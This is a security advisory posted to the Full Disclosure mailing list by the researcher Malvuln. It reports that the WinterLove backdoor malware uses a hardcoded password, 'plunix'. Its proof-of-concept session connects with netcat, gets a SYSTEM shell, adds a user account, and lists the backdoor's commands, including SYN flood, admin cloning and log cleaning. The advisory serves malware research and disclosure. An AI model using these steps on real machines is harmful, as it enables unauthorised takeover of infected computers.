Date: Thu, 9 Sep 2021 16:17:06 -0400
From: malvuln <malvuln13@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] Backdoor.Win32.WinterLove.i / Hardcoded Weak Password

Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source:
https://malvuln.com/advisory/c6c81e8ba0a7b9da6216a78dfeccec8d.txt
Contact: malvuln13@...il.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.WinterLove.i
Vulnerability: Hardcoded Weak Password
Description: The WinterLove malware requires authentication for remote user
access. However, the password "plunix" is weak and hardcoded in plaintext
within the executable. Interestingly, the password also suffers from reuse,
even used as part of the domain name for the website and the authors
handle. Therefore, just trying the domain name and or handle as the
password is enough without even inspecting the binary. Third-party
attackers who connect will get handed a shell with SYSTEM integrity.
Type: PE32
MD5: c6c81e8ba0a7b9da6216a78dfeccec8d
Vuln ID: MVID-2021-0341
Disclosure: 09/09/2021


Exploit/PoC:
nc64.exe x.x.x.x 3043
Need Password:plunix
*************welcome to winter love**************
---[ winter love v2.1 beta, by plunix         ]---
---[ HomePage: http://plunix.126.cn           ]---
CurrentDirect: C:\WINDOWS\system32
? for help
[plunix@...t]#shell
Microsoft Windows [Version 10.0.16299.309]
(c) 2017 Microsoft Corporation. All rights reserved.

C:\WINDOWS\system32>whoami
whoami
nt authority\system

C:\WINDOWS\system32>net user apparitionsec 666 /add
net user apparitionsec 666 /add
The command completed successfully.

? for help
[plunix@...t]#?
shell (to the cmd shell)
clean (to clean log)
ps (get the process)
pss (get the service)
kp (kill the process)
ks (kill the service)
startsock5 (Start Sock5 Proxy Server)
stopsock5 (Stop Sock5 Proxy Server)
startftp (start ftp server)
stopftp (stop ftp server)
starthttp (start http proxy)
stophttp (stop http proxy)
syn (SYN Flood)
sendfile (send or receive file)
info (Get The System Information)
getip (Get All Local IP)
starttln (Start Telnet Services)
stoptln (Stop Telnet Services)
luser (Enum The User in The Computer
clone (Clone Administrator SID)
opents (Open Terminal Server (3389))
closets (Close Terminal Server (3389))
admin (Add Administrator User)
remove (remove this service)
http://.../exe (Download)
quit (quit)


Disclaimer: The information contained within this advisory is supplied
"as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and that due
credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit is given to
the author. The author is not responsible for any misuse of the information
contained herein and accepts no responsibility for any damage caused by the
use or misuse of this information. The author prohibits any malicious use
of security related information or exploits by the author or elsewhere. Do
not attempt to download Malware samples. The author of this website takes
no responsibility for any kind of damages occurring from improper Malware
handling or the downloading of ANY Malware mentioned on this website or
elsewhere. All content Copyright (c) Malvuln.com (TM).

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